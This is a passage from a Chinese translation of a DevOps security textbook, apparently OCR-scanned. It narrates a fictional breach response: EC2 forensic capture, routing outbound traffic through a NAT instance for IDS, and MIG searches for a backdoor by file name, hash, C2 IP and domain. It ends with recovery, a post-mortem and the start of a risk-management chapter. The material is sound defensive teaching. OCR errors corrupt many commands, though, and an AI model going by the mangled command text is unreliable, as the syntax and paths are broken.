会议上看到过关于AWS取证的展示，他下载了获取EC2实例镜像的工具（链接10.1 ）〇 

ThreatResponse是一套帮助在AWS中捕获数字取证制品的工具。一条aws_ir命 

令（见代码清单10.5）就可以完成一系列操作,对EC2实例的磁盘进行快照，转储 

它的实时内存，和实例的其他元数据ー起上传到S3存储桶里。现在他还不知道要 

怎样处理这些所有数据，但将它们全部捕获一定不会错。这并不难：Max所要做的 

就是把需要捕获的实例IP列出来,然后让脚本跑起来。

代码清单!0.5 aws_ir从EC2实例上捕获取证制品

$ pip install aws_ir
]安装 ThreatResponse 的 aws_ir 命令。

$ aws_ir instance-compromise \ 
--instance-ip 52.90.61.120 \ 
--user ec2-user \
--ssh-key -/.ssh/private-key.pem 

I ― 根据IP地址冻结EC2实例。

aws_ir.cli - INFO - Initialization successful proceeding to incident plan. 
aws_ir.libs.case - INFO - Initial connection to AmazonWebServices made.
aws_ir.libs.case - INFO - Inventory AWS Regions Complete 14 found.
aws_ir.libs.case - INFO - Inventory Availability Zones Complete 36 found. 
aws_ir.libs.case - INFO - Beginning inventory of resources
aws_ir.plans.host - INFO - Attempting run margarita shotgun for ec2-user on 

52.90.61.120 with /home/max/.ssh/private-key.pern
margaritashotgun.repository - INFO - downloading https：//

***.amazonaws.com/modules/lime-3.10.0-327.10.1.el7.x86_64.ko as 
lime-2017-05-04Tll:04:15-3.10.0-327.10.1.617.x86_64.ko

[...]
margaritashotgun.memory [INFO] 52.42.254.41： capture 90% complete
margaritashotgun.memory [INFO] 52.90.61.120： capture complete： s3：//cloud

response- 3 8c5c23e79e24bc8a5d5d79103b3 12 ff/52 .90.61.120-mem.lime
aws_ir.plans.host - INFO - memory capture completed for： ['52.90.61.120'] 
Processing complete for cr-17-050411-bae0
Artifacts stored in s3://cloud-response-d9f1539a6a59453lab057f302321676f

这个工具的工作原理是，通过调用AWS API来保存实例挂载的磁盘卷的快照 ， 

然后通过SSH连接该实例，并安装ー个用来捕获实时内存的内核模块。这个内核模 

块的名字是LiME （链接10.2）,它是ー个流行的数字取证工具,专业团队常常将它 

和Volatility这样的内存分析框架ー起使用（链接10.3）。

Linux将内存隔离成两个主要区域：内核区和用户区。系统root用户可以访问 

所有正在运行的进程的用户区内存，但无法读取内核内存。这就是需要LiME在内 

核级别执行捕获来获取整个系统内存的原因。
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生成的文件被捕获到ー个新创建的S3存储桶中,内存转储、实例的控制台日 

志及元数据分别存放在不同的文件中。

代码清单10.6 S3存储桶里存放的aws iエ捕获的EC2实例信息

$ aws S3 Is s3://cloud-response-d9fl539a6a594531ab057f302321676f
2017-05-04 07:04:51 87162432 52.90.61.120-2017-05-04T12:50:18-mem.lime
2017-05-04
2017-05-04
2017-05-04
2017-05-04
2017-05-04

07:04:51
07:04:50
07:04:51 
07:04:52 
07:04:49

277 cr-17-011-b0-52.90.61.120-memory-capture.log
1308 cr-17-011-b0-i-03106161daf-aws_ir.log

44267 cr-17-011-b0-i-0310616Idaf-console.log
2653 cr-17-011-bO-i-0310616Idaf-metadata.log
67297 cr-17-011-b0-i-03106161daf-screenshot.jpg

当捕获结束后，aws_ir将关闭EC2实例。它还会增加额外的控制，使用VPC 
网络ACL切断所有出入实例的网络流量，这能有效切断这台已经被威胁的主机上建 

立的所有进出站的C2信道。

锁定环境可以避免威胁进ー步扩散。Trevor提出他们可能会聘请一家咨询公司 

对被威胁的系统进行详细分析。快照和内存转储能帮他们找到后门，搞清楚黑客的 

活动。如果有人接手取证工作，Trevor一定会很开心,因为这不是他能轻松处理的 

工作。

10.4.2 出站IDS过滤
Trevor很担心攻击者在基础设施上留下后门并建立了 C2信道。他想尽快通过 

入侵检测系统（IDS）来检测所有的出站流量。Tammy自告奋勇地将整个网络移到 

了一个NAT实例后面,并在上面安插了 Suricatao反正她早就想这么做,而且已经 

有了实施计划。

整个AWS网络被ー个虚拟私有云（VPC, Virtual Private Cloud）所包围。网络 

层工作得很好，因此他们从未花太多时间去微调。每个EC2实例都带有公开的1P, 
可以使用AWS提供的标准网关连接到互联网，如图10.1所示。这是很简单的设置, 

但是这些系统发起的互联网连接对他们是不透明的,因为互联网网关（IGW）是提 

供商维护的黑盒子。入站流量不会受到这种设置的影响，只有在实例发起连接时オ 

会使用这条路径，这种情况并不多见。
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图10.1 EC2实例通过AWS运维的网关接入互联网。

要想看到实例发起的互联网流量,Tammy必须通过他们自己控制的系统来路由 

流量。AWS把这个系统称为NAT实例,顾名思义,这个实例会对出站流量执行网 

络地址转换(Network-Address Translation),将所有出站连接的源IP替换成NAT实 

例的IPo这种设置的文档很丰富，但是难点在于如何在不重新连接所有系统的条件 

下将它引入现有的基础设施中。

她花了一个小时来阅读官方文档和各类博客文章,然后确定了下ー步计划(链 

接10.4)。首先，她要在VPC的中间创建一个新的子网和一张可以访问!GW的路由 

表。然后,她将使用AWS自身的NAT实例镜像启动ー个EC2实例。最后，她还要 

修改主子网的路由表,将所有出站流量指向NAT实例而不是IGW。最终的网络类 

似于图10.2 。
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图10.2由EC2实例发起的所有互联网连接都经过ー个NAT实例进行路由，在这里可以执行对 
出站流量的自定义检查。

在简单验证之后,她选择10.0.1.0/24子网来托管NAT实例。然后，她使用 

AWS命令行界面创建了子网和关联的路由表。

代码清单10.7为NAT实例创建新的子网和路由表

aws ec2 create-subnet
--vpc-id vpc-24e97b4d
--cidr-block 10.0.1.0/24

y在VPC内创建一个新子网。

aws ec2 create-route-table | | 创建一张新路由表。
--vpc-id vpc-24e97b4d

aws ec2 create-route I 在表里定义，并将所有出站流量发给
--route-table-id rtb-de22c3c7 互联网网关的路由。

--destination-cidr-block 0.0.0.0/0
--gateway-id igw-9f59e9f6 

aws ec2 associate-route-table
--subnet-id subnet-7210eb3f
--route-table-id rtb-de22c3c7

卜!将路由表和新的子网关联起来。
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下ー步就是创建NAT实例本身了，但在这之前她先要创建一个安全组。

代码清单10.8创建允许互联网流量进入NAT实例的安全组

aws ec2 create-security-group
I在新的VPC中创建新 

一J的安全组。

--group-name outboundnat
--description "Filtering of egress traffic through NAT instance"
--vpc-id vpc-24e97b4d

aws ec2 authorize - secur ity-group- ingress ◄---- 1 , 、 、
--group-id sg-82felca6 允许任何人通过 SSH
--cidr 0.0.0.0/0 |接ス NAT 实椀。

--protocol tcp --port 22
aws ec2 authorize-security-group-ingress

--group-id sg-82felca6
--cidr 10.0.0.0/16
--protocol all

一!允许10/8网络将所有流量发 

!给NAT实例。

她使用命令行找到了 Amazon发布的最新NAT镜像的ID，在新创建的子网内 

启动了一个该镜像的实例。

代码清单10.9在NAT子网内启动ー个Amazon NAT实例

aws ec2 describe-images ◄------------------------------
--filter Name="owner-alias",Values="amazon"
--filter Name="name",Values="amzn-ami-vpc-nat*
I jq -r 1 . Images [] | .Name + " " + . Image Id'
I grep $(date +%Y)

列出所有Amazon发布的 
可用NAT镜像。

amzn-ami-vpc-nat-hvm-2017.03.0.2017040エ-x86 64-ebs
amzn-ami-vpc-nat-hvm-2016.09.1.20170119-x86_64-ebs
amzn-ami-vpc-nat-hvm-2017.03.rc-0.20170320-x86_64-ebs

ami-07fdd962 
ami-564b6e33 
ami-652b0f00

amzn-ami-vpc-nat-hvm-2017.03.0.20170417-x86_64-ebs
amzn-ami-vpc-nat-hvm-2017.03.rc-1.20170327-x86_64-ebs

ami-6793b702
ami-b41d39dエ

aws ec2 run-instances ◄--------------
--instance-type t2.micro
--key-name ops-basekey-20170100
--security-group-ids sg-82felca6
--subnet-id subnet-7210eb3f

在新的子网和安全组内运行NAT 

镜像的实例。

--instance-initiated-shutdown-behavior terminate
--associate-public-ip-address
--count 1
--image-id ami-6793b702

aws ec2 modify-instance-attribute 
--instance-id i-0c7389eefa6902624

禁用该实例的源/目的检查，允许它 
处理去往其他实例的网络流量。

--no-source-dest-check
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Tammy连上NAT实例来检查配置（见代码清单10.10）。Amazon将它的NAT 
镜像预设为从其他实例路由流量，并自动启用iptables中的出站网络地址转换。 

在将网络的其余部分指向该实例之前，她检查了转换规则在iptables的POSTROUT
ING 表中的设置是否正确。

代码清单10.10 NAT通过iptables捕捉出站流量

$ sudo iptables -t nat -L POSTROUTING -v -n <---------
用iptables命令列出

Chain POSTROUTING (policy ACCEPT 1 packets, 84 bytes) Nat表中的激活规则。
pkts bytes target prot opt in out source destination
2827 185K MASQUERADE all -- * ethO 10.0.0.0/16 0.0.0.0/0

在确认配置无误之后，她向运维团队发送广播消息，告知他们：她将修改整个 

生产环境基础设施的路由。在正常情况下,她不敢在深夜做出如此重大的改变，但 

现在是非常时刻。没有人提出异议,于是她小心翼翼地运行命令，修改公共子网的 

路由表，并用NAT实例替换互联网网关。

代码清单10.11修改路由,将所有出站流量路由到NAT实例

|命令AWS替换表中的路由。

-----► aws ec2 replace-route
--route-table-id rtb-ae92f4c7
--destination-cidr-block 0.0.0.0/0

I------► --instance-id i-0c7389eefa6902624
I将流量发给NAT实例。

公开子网的路由表ID。

イ影响所有流量的新路由。

她打开另ー个终端，检查生产环境上的系统是否能够连到互联网上，并确认看 

到的新出站IP是否就是NAT实例的IPo
“喔！ ”

“可以了吗? ”坐在她身旁的Sam问道。

“可以了!我能看到所有经过的流量。我运行了 tcpdump,有很多噪声。希望 

NAT实例的资源可以撑住。”

“你选了什么实例? ”

“c4.xlarge。我们会没事的。接下来我会设置Suricata,我们应该重点关注一下 

出站流量。”

“做得好！" Trevor说道,他坐在隔壁桌子旁。“现在休息ー下吧,你已经连续 

干了 3小时了。”

“没关系。我去喝杯咖啡,透透气。有人想要点什么吗?”
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10.4.3 使用MIG追踪10c

Sam在被威胁的Web前端服务器上发现的后门是目前他们收集的证据中最有意 

义的ー个。她想分析一下这个后门,但逆向工程不是她所擅长的,也绝不是在这样 

一次入侵中她能学会的。不过不是一点儿办法也没有,她决定使用新部署的MIG基 

础设施来扫描所有仍然在线的系统。

file命令告诉她，这个后门是ー个静态编译的32位ELF二进制文件（ELF是 

Linux使用的可执行文件格式）。

$ file b4kl33t
b4kl33t: ELF 32-bit LSB executable, Intel 80386, version 1 （SYSV）, statically

linked, for GNU/Linux 2.6.9, stripped

她把这个文件上传到Google的ー家子公司的网站上（链接10.5）,该网站负责 

用几十种商业和免费的杀毒应用来扫描上传的文件。扫描报告证实了她的怀疑，这 

个文件确实是ー个后门，而且是一个狡猾的后门，因为在52个执行测试的扫描器中， 

只有22个检测到了它是恶意的。显然，她不是第一个受害者:页面显示最早一次 

提交发生在两周之前，如图10.3所示。她不禁想去联系她的朋友Alex,他在纽约的 

一家大型却不刻板的安全公司工作，他现在可能已经睡着了。可以等到明天早上再 

联系他。

她继续对后门执行strings命令并进行分析，并在数百行输出中找到了两处 

有趣的信息:一个URL和一个RSA公钥。RSA公钥没有什么特别之处,就是ー个 

标准PEM格式的512位密钥。它可能被用来加密数据，勒索软件就是这样干的。 

如果没办法正确地进行逆向工程，一切就无从得知。

URL是链接10.6o笔记本电脑上的whois命令告诉她这个域名的所有者是 

加州的ー个名叫Jason Tyler的人。她启动Tor浏览器，确认禁用所有JavaScript的 

NoScript选项是启用的，然后打开了这个地址。这个页面看起来并不可疑，只 

是ー张照片，照片上一只小猫骑在ー只巨大的金毛寻回犬背上。她右击该页面检查 

HTML源代码,但是看起来也没什么问题。也许这张图里用隐写术隐藏了什么信息? 

这种分析得等一等。她将域名的IP地址发给Tammy。也许她能在新设置的NAT实 

例上找到去往这个地址的流量。
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SHA256 005batccc9b8dc4f7816c4e687633437cc345c388cd5bb9f79c5e521 d63bc109

File name: b4kl33t

Detection ratio： 22/52

Analysis date: 2017-05-14 16:25:59 UTC (1 minute ago )

圃 Analysts Q File detail O Additional infornwtion , Comments Q Votes

Antivirus Result Update

AegisLab Tro|.Ddos.Unuxlc 20170514

Anlly-AVL T ro|an(DOoSj.fLlnux.DnsAmp.d 20170514

Avast ELF;Ch»naz-X (Trfl 20170514

AVG Linux/Generlc_c.BRC 20170514

Avlra (no cloud) LINUX/DnBAmp.wahsk 20170514

Clatter Aヽ.， ■ t-kみユ»。arn 4 <»<»•» n a

图10.3任何人都可以上传文件到该网站进行各种安全扫描器检查。图中,名为b4kl33t的文件 
扫描结果显示，22个杀毒应用将它标记为恶意。

她打开MIG控制台检查分布式代理的状态：367个代理在线，这比几小时前的 

少多了。Max一定很努力地冻结并关闭了大部分基础设施。她从ー个简单的搜索开 

始，在常用目录中查找名为b4k133t的文件,见代码清单10.12。名字搜索速度很快, 

因此这是个不错的切入点。

代码清单10.12在线服务器文件系统上对b4k!33t的MIG调查

$ mig file -t u status=•online *" \
-path /usr -path /var -path /tmp \
-path /home -path /bin -path /sbin \
-name "xb4kl33t$"
-maxdepth 5 ◄—

递归检查的路径。

] ]搜索的文件名的正则表达式。

I搜索的子目录递归深度不超过5。

367 agents will be targeted, ctrl+c to cancel. launching in 5 4 3 2 1 GO 
Following action ID 7984150202700.
367 / 367 [========================================] 100.00% 4/s4m56s

100.0% done in 4m54.389875348s
367 sent, 367 done, 353 succeeded, 10 expired, 4 failed
0 agent has found results

搜索没有找到任何匹配文件,结果还不坏，但令人有点沮丧。她在心里 

记下还有14个代理的搜索失败了，还要再次执行搜索。接着，她使用MIG的 
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netstat模块查找是否有已经建立的到cats-and-dawgs URL的连接。这条命令(mig 
netstat -ci 27.23.123.74)也没有返回任何结果。她开始觉得后门只是被 

放置在了一台服务器上,但她还是尝试了内存搜索,寻找字符串cats-and-dawgs.com 
和 RSA 密钥中的一段子字符串(mig memory -content ''cats-and-dawgs . 
com" -content ''DmyjpEnDzg3wC0L0RYDtFK")»这次依然没有有效的匹配 

结果。

Sam将三种搜索放在ー个JSON文件中,并编写了一个cron小任务，每30分 

钟执行ー次调查,见代码清单10.13。这样的话,如果攻击回来，她就有机会通过 

MIG抓住他们。

代码清单10.13搜索后门的MIG JSON调查

{"name"： "b4kl33t backdoor IOCs"/
"target" ： "status = 1 online ,"r 文件搜索参数。
"operations"：[

{ "module"： "file",
"parameters" ： { "searches*' ： { "search_backdoor_by_name" ： {

"names"： ["*b4kl33t$"],
"md5": ["257b8308ee9183ce5b8c013f723fbad4"], —
"options"： {"matchall"： true,"maxdepth"： 5),
"paths"： ["/usr","/var","/tmp","/home","/bin","/sbin"]

})}),
{ "module"： "netstat", 
"parameters"： { "connectedip"： [ "27.23.123.74" ] }

レ
{ "module"： "memory", 
"parameters"： { "searches"： { "search_backdoor_in_ram"： {

"contents"：[
"cats-and-dawgs.com",
"1iHPM7QDfeQRu4gYScVzT9gT64RcoSPlzSVAiEAyrB5"

,}))} 内存捜索参数

I Inetstat搜索参数。

"syntaxversion"： 2 
)

作为最后ー项检査，她获取了后门程序的MD5校验和,并对全部系统的所有 

根目录进行搜索。这项检查需要计算系统中的每个文件的MD5 ,并将其与后门程 

序的MD5进行比较,这可能需要占用ー些CPU的运行时间。她将调查期限由5分 

钟提升到了 30分钟,见代码清单10.14，避免搜索在完成之前被杀掉。
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代码清单10.14在全部服务器的文件系统中捜索后门程序MD5的MIG调查

$ mig file -e 30m -t all -path / -md5 257b8308ee9183ce5b8c013f723fbad4 
1190 agents will be targeted, ctrl+c to cancel. launching in 5 4 3 2 1 GO 
Following action ID 7984197498429.
1 / 1190 [>------------------------------------------- ] 0.08% 0/s 2hl4m54s

Sam让命令在后台执行着,她合上了笔记本电脑，准备出去溜达一圈。现在是 

凌晨4点13分,而她直到现在都还没有合过眼。

10.5 恢复

早上8点左右，Trevor下达了重新开放主站的命令。Louise急于赶在股票市场 

开盘前就此事发表公开声明。虽然公司还没有上市，但他们的ー些竞争对手是上市 

公司，她希望尽可能地拖住它们的股价上涨。他们己经从备份中重建了整个网站和 

数据库。管理员面板被锁定，只能通过堡垒机访问,除Trevor之外的所有用户账户 

都已被禁用,所以重新开放站点似乎是安全的。

在当晚早些时候，他们又被吓出了一身冷汗,Sam的MIG调查结果与一个老 

网站的管理面板相匹配。攻击者不知何故把后门留在了那里。当Tammy检查被威 

胁的主机经过NAT实例的网络流量时，她发现大量数据正在通过ー个TCP连接进 

行传输。攻击者正在窃取数据。连接被立即切断，IP被列入黑名单。她在IDS上添 

加了一个新的告警，用于标出任何传输超过!0MB数据的连接。

这让每个人热血沸腾,比任何意式浓缩咖啡都更能让团队打起精神。他们希望 

这是最后的残余攻击，但是无法确定,所以大多数系统仍处于关闭状态,等候进ー 

步的通知。

Trevor发布了一份声明，Louise和法务团队在早上花了几小时起草这份声 

明。声明就造成的困扰向公众致歉,承认关键系统被威胁但用户数据是安全的, 

并且承诺随着调查的继续开展，更多信息会不断公布。声明还向客户保证,所有 

HealthBuddy设备的电池都是按照最高的行业标准制造的，通过了大范围的测试, 

没有任何爆炸的风险。当Sam看到这份声明时,她不禁注意到Max的手环还没有 

戴上。他或许是忘了戴回来，但在内心深处，她担心对于修复攻击所造成的创伤， 

他们需要做的要比发表声明多得多。

Trevor要求所有人都回去休息几小时。酒店在海盗会议室提供了自助早餐， 

Sam吃了一些水果和一块百吉饼，然后回到了房间。她以为自己无法入睡,但当她 

倒在枕头上后马上就昏睡了过去。一直到下午她オ醒来，她检查了手机,没有任何 

新的告警。她向海盗会议室走去，Trevor依然坐在桌前,保持着一整晚的姿势。

“你睡过觉了吗? ”她问。
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“我打了个盹。我想再检查一遍堡垒机上的日志。目前我还没有发现任何疑点, 

但我不介意你再检查一遍。”

“行。我们要重新开放公共API吗?我猜所有合作伙伴都非常渴望能重新获得 

访问权限。”

“我们会开放的,可能在今天晚些时候。Max告诉我所有重要的服务器都被重 

新部署了。我还是担心攻击者会杀回来，但我们封锁了所有入口，应该没问题了。‘'

从事件中恢复

一旦威胁从环境中消除,系统和服务需要重新上线这就是恢复阶段，所 

有生产环境系统在这个阶段逐步回归正常运作。

在恢复生产环境服务前,定义清楚必须采取的步骤是十分重要的在大多 

数情况下,你需要从干净的备份中恢复数据库，从威胁发生前做好的备份中重 

新部署代码,完全重建所有系统,还要修改所有密码，正确的步骤顺序由环境 

决定,所以要确保那些最了解基础设施的工程师能参与决策。

尽管恢复阶段的目标是回到正常运作,但是确保威胁不会再次发生也很关 

键,有些旧系统已经被废弃了一段时间,可能无法恢复了，而有些系统比较复杂， 

重启并没有那么轻松 事件响应团队必须和这些系统的业务负责人及高层一起 

决定哪些服务必须重新启动，而哪些系统必须下线,直到团队腾出更多的时间 

来修复它们。 .

“他们希望在线商店今天能恢复正常运营。” Trevor刚和老板们开完一个临时会 

议。“我们首先要恢复和在线商店有关的微服务。接下来的重点是合作方的集成,但 

可能要安排在明天了。合作关系团队已经与他们取得了联系,他们知道他们将不得 

不等待。”

“金钱是第一位的，必须恢复现金流！”Max认为。他说得没错。

“现在我们要保证所有的管理接口只能通过堡垒机访问。在我们有了更好的身 

份验证方案之后，オ会重新开放它们。今天我们得集中精力重启支付、账单和订单 

跟踪服务

“我们还需要邮件服务，可能还有处理订单的Kafka集群。” Max补充道。

“好了，我们开始吧。先在演练环境上执行ー遍,列出需要在生产环境中重启 

的所有服务和重启的顺序。现在是下午两点。我想这ー切能在晚饭前结束。”

他们没有做到在晚饭前结束。以前从来没有人尝试过ー个ー个地重启组件,而 

且他们对自己的微服务基础设施的依赖关系树也没有清晰的认识。晚上11点左右, 
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终于又可以下订单了,但订单还无法配货。他们又花了 3小时オ找到处理订单和触 

发发货所需的无服务器作业、排队系统及微服务的正确组合。凌晨5点左右，他们 

可以发邮件了,这オ决定到此为止，大家赶紧去睡了几小时。

在这周剩下的时间里,他们再也没有在泳池边小憩，欣赏日落或是品尝莫吉托 

鸡尾酒。他们把基础设施一点一点地重新组装起来，就像在摆弄没有操作图纸的巨 

型乐高积木一样。星期六晚上，Sam在回家途中被夹在ー个鼾声震天的老太太和一 

个用平板电脑看漫画的熊孩子之间,坐了 7小时的飞机オ回到家,她比上周度假之 

前累多了。

除少数几个无关紧要的服务之外，大多数基础设施在他们离开小岛时都恢复 

了正常运作。然而,工程团队已经精疲力竭，开发人员和运维人员也无一幸免。 

Lauren对每个人都表示了感谢，感谢他们这段时间的辛勤工作,并给他们放了周ー 

和周二两天的假期来恢复。她还安排了下周三的事后调查，这可能会很有趣,前提 

是不要变成相互指责的群殴。但是，Sam现在没心思去想这些，她必须补觉。

10.6 总结经验和充分准备的优势
“我来介绍一下Jim Bellmore«我们聘请了他的公司来帮我们调查我们在威胁过 

程中收集到的数据,Jim主动提出主持事后调查会议,所以从现在开始就交给他了。” 

Sam通过他们常用的视频会议服务加入了事后调查会议。这个服务由第三方托 

管,所以他们至少不用担心要重建它。当她看着Lauren介绍这个穿着得体的中年男 

子时，不禁想到他到底是被雇来调查这次攻击事件的,还是被雇来找出谁应该被解 

雇的。她立马摆脱了这个想法，这实在是太夸张了。

“大家好，” Jim接过话。“我想你们从上周到现在都还很震惊。我也知道这毁了 

公司的加勒比海之旅。首先，我要说的是,从我的观察来看，你们在面对压カ时都 

表现得非常好。我见过许多公司在攻击的压カ下倒闭，而你们没有，所以这绝对是 

你们应该感到庆幸的事情。”

“我想强调这ー点," Lauren打断了他。“在过去的一周里，我们有过很多不愉 

快的谈话,但是整个团队一直都表现得很专业。我代表整个高管团队对大家表示感 

谢,大家所做的一切令人印象深刻,感谢大家！ ”

Max发来的消息在Sam的聊天终端里跳动，“看来我们的饭碗保住了。”她没有 

回复，以后有的是时间来八卦，但听到Lauren这段话之后，她感到整个人轻松多了。 

他们确实在鬼门关走了一遭,她承认死里逃生的感觉真是太好了。

“首先,我想从事件的时间线开始,” Jim说道。“我想把发生的事情准确地记录 

下来，如果可能的话精确到每分钟。这个问题第一次暴露是在5月I5 B 22:12 UTC 
,假声明登上Hacker News头版时,我的假设是正确的吗? ”
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在接下来的45分钟里，他们再次回顾了整个事件的时间线,将所有事情记录 

在ー份共享文档里一Trevor把所有人召集到海盗会议室的电话,他多次尝试联系 

高管,Sam发现了暴力攻击,关闭服务的决定，冻结并重建所有系统,等等。回忆 

这地狱般的一周，让她头晕目眩。她知道参与其中的十几个人做了很多事,但她并 

没有真正意识到这些工作到底有多少。

经验总结和事后调查的必要性

安全攻击和安全事件对任何企业都有着惊人的破坏性，但它们也是一个改 

善的契机从它们身上榨取尽可能多的价值是至关重要的。这就是事件响应在 

经验总结阶段的目的,在此阶段,工程师和经理都要再次回溯事件链条,识别 

出需要改进的方面。

事后调查会议也是ー种让参与应对的人们得以解脱的方法,它标志着事件 

真正地结束了，并正式地将告警级别恢复到正常水平。

如果组织在处理事件时采取的是ー种咄咄逼人的态度,这项活动本身就可 

能会困难重重,、许多人喜欢玩推卸责任的游戏,他们拒绝承认错误，并互相推 

诿而不是有效合作。每个组织对此都有不同的处理方法。有些组织会利用权威 

让员エ保持冷静与协作；有些组织则会制造恐慌,解雇有过错的员エ。高层要 

求负责人卷铺盖走人的情况屡见不鲜,这个主意是好还是坏还很难说。普遍的 

事实是，经历过安全事件的员エ比那些没有经历过的员工有着更加充分的准备 

来应对下一次攻击 .

无论ー个组织如何做出决定来管理事件中的人员,安全团队的任务是针对 

识别出的问题制订长期的缓解计划。在事件响应的经验总结阶段，收集的信息 

是非常宝贵的,因为它是可落地的，并且能够直接带来投资的回报,没有其他 

活动能够将组织里的这些阴暗面暴露无遗ユ让最好的项目经理来整理这些信息 ， 

建立清晰的任务,并在接下来的几个月持续跟进,确保缓解措施真正落地。

“谢谢大家，我想现在我们已经得到了一条足够明朗的时间线。我们先休息15 
分钟,然后回来分析攻击向量。”

休息之后，他们开始梳理问题。有些问题是显而易见的,比如主站的管理面板 

缺少双因子认证。有些问题只有在几分钟反复交流之后オ会显现出来。当另ー个开 

发人员批评订单处理流水线的重启时间太长时，Max勃然大怒。

“你知道这坨垃圾有多复杂吗?有十几个Lambda函数需要按正确的顺序重新启 

动，不然在这种负载下Kafka集群会崩溃。这些全部都没有文档,顺便说一句，这 
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都是托您的福。”

“怎么会没有文档？代码ー点问题也没有，问题是集群不稳定,我们都已经向 

你提出好几个月了。要是基础设施稳定的话,根本不会发生这……”

“好了,我们控制一下情绪，各位，” Jim打断了他们。“不管怎样,没有哪个组 

织拥有完美的基础设施地图。但话说回来，看起来我们确实需要对服务之间的依赖 

关系看得更清楚些。”

“我记下了，” Trevor接着说道,“有些东西太老了，需要用新的API框架重写。 

同时，我们或许可以把上周学到的经验写到Wiki上。”

显示器上的Max的摄像头小方块很快就消失了,取而代之的是另一个开发者的 

脸。他可能已经关掉摄像头一段时间了。他似乎不太高兴。公平地说，他们说的都 

是对的:代码的文档很差，订单处理基础设施中的有些部分也不稳定。事件平息之 

后的首要任务可能就是修复它,这并不是一件坏事。

两个多小时后，他们列出了一份简短的工作清单——这份清单已经超过了二十 

项。他们根据风险级别对这些事项进行了排序，其中只有五项的优先级最高，它们 

将尽快修复:

• 在所有管理面板上启用多因子验证。

• 在日志流水线中实现暴力攻击检测。

• 审计和测试跨基础设施的防火墙规则，确保服务之间被严格的隔离。

• 建立允许通过代理出站的白名单。

• 把关键服务重启的路径树写成文档。

即使不考虑清单上的其他事项，Sam也知道完成这五项任务需要好几个月的时 

间。高层可能会告诉他们暂时放下一切，把精力放在安全性的工作上,但随后业务 

特性就会出现，并接管后台工作。但是，Trevor似乎非常坚决地要尽快完成这五项 

任务。他甚至得到了预算，雇用了一些安全承包商来负责架构和工程。

Lauren在会议结束时指派了几个经理来跟踪这些工作事项的进度，并向她每月 

汇报进度。

在接下来的几周里，他们继续重新部署系统。Jim通过电子邮件发送了一份机 

密报告，内容是他的公司对各种系统镜像和Sam发现的恶意软件进行的取证分析， 

但其中并没有任何太有意义的内容。他们受到了最基本的攻击向量的攻击，即暴 

力攻击,其余部分都是简单后门教科书式的权限提升。阅读报告时，Sam不禁感 

到失望,一条差劲的密码就把整个基础设施搅得天翻地覆。电影中的情节看起来 

都要比这复杂。
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10.7本章小结

• 事件响应的六个阶段是准备、识别、隔离、杀灭、恢复和总结。

• 深入理解系统和应用是正确调查事件的关键。

• 一旦事件得到确认,通过锁定被威胁的系统来隔离攻击是最紧迫的任务。

• 掌握了威胁情况后，事件响应团队就可以采取缓解措施阻止破坏传播并消除 

威胁。

• 入侵检测系统能帮助捕获可疑的网络流量。终端节点安全工具可以监视系统 

活动。取证框架能为以后的分析获取被威胁的系统的镜像。

• 在整个事件处理过程中,必须保留记录和时间表,帮助进行事后分析。

• 如果处理得当，事件还能带给组织ー个提升安全性的契机。





第3部分

DevOps安全性走向成熟

在构建安全策略的过程中,首先关注技术要素是很自然的。毕竟，大多数读者 

可能是出于对DevOps的热情和对安全控制工程的浓厚兴趣オ选择了本书。在本书 

的前两个部分,我们已经介绍了大量和工程有关的内容。现在，在第3部分中,我 

们将讨论如何将安全策略整合到ー个由风险驱动的流程中，该流程应用了安全研究 

的最新成果并且在持续不断地改进中〇

成功的组织在不断地成长。它们投资组合中的人员、产品和合作关系在持续增 

加中，并随着时间的推移而愈加复杂。组织的变化越来越难以跟踪，最重要的那些 

风险也变得无法识别,这是安全团队常常要面对的困境。在第11章里，我们将深入 

探讨风险管理和威胁建模的概念,帮助你识别应该关注的安全优先级。我们暂时将 

技术放到ー边,先探讨一下风险评估流程，如果风险评估流程能和DevOps流水线 

中靠前的几个阶段加以整合，这将会帮助工程团队从一开始就构建出安全的产品。

在第12章里，我们将回归与安全测试相关的工具和技术,展示如何使用这些 

工具和技术对整个组织的安全性进行定期审计。我们还将讨论漏洞赏金计划、红军 

和外部审计，组织可以借助这些手段邀请外部研究人员和专业安全团队来评判其安 

全性。第12章中将关注这些技能如何在实际工作中落地，以及如何发现表现欠佳 

的领域并不断去改进。
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在最后一章,我们将通过ー份三年计划来分享关于实施持续安全策略的ー些想 

法。安全性的逐步成熟及与DevOps融合是ー个漫长的过程,需要耐心、专注和决心。 

在第13章,我们将介绍ー些关于如何在组织内部组建一支成功的安全团队的思路。



本章内容包括

・ 风险管理介绍

・ 按照机密性、完整性和可用性需求对信息分类

・ 运用STRIDE和DREAD框架进行威胁建模
■ 通过快速风险评估将评审集成到DevOps流程中
・ 记录和跟踪组织中的风险

在本书的开头,你保障的是一个小型发票服务的安全,它单独托管在最基本的 

AWS环境之中。然而，对正确保护这样ー个服务所需的所有安全控制的介绍就耗费 

了本书将近十章的篇幅。

组织的规模不会一直这么小，它们会成长，而随着它们的成长，安全团队必须 

审计的部署流水线会越来越多,在越来越多的服务上必须实现的控制也会越来越多， 

同时,必须执行的事件响应也会越来越多。工程师们一定会被大量与安全相关的エ 

作所淹没，而这又是保证组织安全和业务安全运行的必然结果。这就是风险管理的 

用武之地。

每个人都知道风险。这是ー个我们在小时候就已学会的概念，人们在日常生活 

中也会不假思索地运用到这个概念。如果你ロ袋里揣着5000美元去银行，那么步 

行穿过治安差强人意的市区要比开车直接去银行危险得多。到底有多危险呢?这很 
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难说,至少没有一个合适的风险评估框架能说清楚。

风险管理为风险发现、风险分类和风险评级的过程带来了合理性和一致性。它 

能帮助团队将精力集中到最需要关注的领域上。对于任何希望将有限的预算和人カ 

用在刀刃上的安全团队来说,它都是ー个必不可少的工具。

在这一章，我们将跳出安全控制的技术实现，但依然不会和DevOps世界疏远。 

我在第1章就强调过,安全、开发和运维这三个团队之间的紧密协作是安全性成功 

引入DevOps的关键因素。风险管理是增强这种协作关系的最佳途径之一，因为风 

险管理会在新的产品或服务的开发初期建立专门讨论风险、威胁和安全控制的渠道。 

如果实施得当，风险管理就能协调组织中的安全工作，并将其聚焦在正确的问题上, 

还能确保每个人都充分地参与到安全流程之中。

我们将本章的重点放在评估风险、建模威胁及度量影响与概率的核心概念上。 

我们还将讨论由Mozilla设计的一套评估产品和服务风险的方法论，以示范如何 

在组织中应用风险评估。我们的目的不是要得岀哪种方法是最佳的,而是为组织 

构建自己的方法论和评估风险提供要素。但首先我们需要准确地定义管理风险的 

意义。

11.1 风险管理是什么
“心中有数的冒险与不计后果的决策之间就是盈亏的分界线。”

------Charles Duhigg'
